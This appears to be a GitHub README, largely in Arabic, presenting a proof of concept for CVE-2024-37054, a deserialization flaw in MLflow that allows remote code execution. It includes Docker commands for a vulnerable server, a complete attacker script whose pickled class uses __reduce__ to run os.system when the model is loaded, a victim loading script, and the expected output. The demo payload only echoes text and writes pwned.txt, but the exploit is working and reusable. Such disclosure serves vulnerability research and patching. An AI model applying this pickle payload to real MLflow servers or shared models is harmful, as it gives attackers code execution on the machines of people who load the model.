
NiteeshPujari/CVE-2024-37054، يحتوي هذا المستودع على إثبات للمفهوم (PoC) ثغرة إلغاء تسلسل حرجة في MLflow تسمح بتنفيذ التعليمات البرمجية عن بُعد (RCE).
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
يحتوي هذا المستودع على إثبات المفهوم (PoC) للثغرة CVE-2024-37054، وهي ثغرة حرجة في إلغاء التسلسل في MLflow تتيح تنفيذ التعليمات البرمجية عن بُعد (RCE).
CVE-2024-37054mlflow.pyfunc.load_model. يمكن للمهاجم إنشاء نموذج خبيث يحتوي على حمولة مُسلسَلة (pickled). عندما يقوم الضحية بتحميل هذا النموذج، يتم إلغاء تسلسل الحمولة عبر cloudpickle.load، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية على جهاز الضحية.0.9.0 وحتى ما قبل 2.14.2._load_pyfunc داخل mlflow/pyfunc/model.py.يحاكي إثبات المفهوم هذا دورين: مهاجم يرفع نموذجًا خبيثًا وضحية يقوم بتحميله، مما يؤدي إلى تفعيل تنفيذ التعليمات البرمجية عن بُعد (RCE).
أسهل طريقة لإعداد خادم MLflow قابل للاستغلال هي باستخدام ملف Dockerfile المرفق.
بناء حاوية Docker وتشغيلها:
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
يعمل خادم MLflow القابل للاستغلال الآن على http://127.0.0.1:5000.
ستحتاج إلى طرفيتين منفصلتين على جهازك المضيف. تأكد من تثبيت إصدار قابل للاستغلال من mlflow محليًا (pip install mlflow==2.14.1) لتشغيل البرامج النصية للعميل.
في طرفيتك الأولى، شغّل برنامج المهاجم النصي لتسجيل النموذج الخبيث.
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
تشغيله:
python poc/log_malicious_model.py
في طرفيتك الثانية، شغّل برنامج الضحية النصي لمحاكاة تحميل النموذج المخترق.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
تشغيله:
python poc/load_vulnerable_model.py
بعد تشغيل برنامج الضحية النصي، ستظهر لك الرسالة /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found في الطرفية، وسيتم إنشاء ملف جديد باسم pwned.txt في مجلدك. يؤكد هذا نجاح تنفيذ الأمر.
تم تطوير إثبات المفهوم هذا بواسطة Pujari Niteesh.